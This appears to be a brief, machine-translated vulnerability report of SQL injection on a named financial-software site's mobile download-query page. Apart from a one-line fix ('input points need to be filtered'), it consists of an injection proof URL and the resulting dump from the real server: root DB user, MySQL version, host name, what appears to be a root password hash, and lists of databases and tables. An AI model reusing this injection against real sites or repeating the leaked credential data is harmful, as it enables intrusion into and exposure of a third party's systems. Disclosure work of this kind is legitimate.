An injection vulnerability in a sub-station in huashun

Db permission: root
Possibile to getshell
Proof of vulnerability: http://mobile.10jqka.com.cn/main/dlquery_s.php? Bid = % 274229 & bname = % CD % A8 % D3 % C3 % C7 % F8 & seid = 1329 & sename = Android & mid = 61 & mname = Gpad & tyid = 2705
 
 
DB Server: MySQL error based
Resp. Time (avg): 2490 MS
Current User: root @ localhost
SQL Version: 5.0.95
Current DB: wap1__dl
System User: root @ localhost
Host Name: wapyd
Installation dir:/usr/
DB User & Pass: root: 127.0.0.1
: Localhost
: Localhost. localdomain
Root: 07846796735f00a7: localhost
Data Bases: information_schema
Ahuni_dl
Asv
Ceshi
Ceshi_dl
Ceshi_fj
Data_web
 
Wap3g_dl
Table Name
RecordDl_20110601
RecordDl_20110531
RecordDl_20110530
RecordDl_20110529
RecordDl_20110528
RecordDl_20110527
RecordDl_20110526
RecordDl_20110525
RecordDl_20110524
RecordDl_20110523
RecordDl
Keyword
Example_stat
Dl_version
Dl_verintro
Dl_tyrj
Dl_sp
Dl_soft
Dl_series
Dl_plateform
Dl_new_model
Dl_model
Dl_config
Dl_brand
Check_ver
Account
Solution:

Input points need to be filtered

Author insight-labs